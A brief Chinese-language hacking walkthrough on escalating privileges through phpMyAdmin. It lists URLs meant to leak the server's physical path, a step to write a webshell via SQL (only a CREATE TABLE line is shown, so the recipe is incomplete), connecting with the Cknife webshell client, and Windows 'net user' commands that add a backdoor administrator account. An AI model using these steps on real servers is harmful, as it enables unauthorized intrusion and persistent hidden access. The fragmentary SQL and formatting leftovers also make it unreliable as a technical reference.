利用phpMyAdmin提权
利用phpMyAdmin提权
爆路径
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpMyAdmin/index.php?lang[]=1
- /phpMyAdmin/phpinfo.php
- /load_file()
- /phpmyadmin/themes/darkblue_orange/layout.inc.php
- /phpmyadmin/libraries/select_lang.lib.php
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpmyadmin/libraries/mcrypt.lib.php
得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php
写马
1
|
Create TABLE a (cmd text NOT NULL);
|
获得webshell
最后用Cknife连接,创建帐户并添加到管理员用户组net user admin admin /add
net localgroup administrator admin /add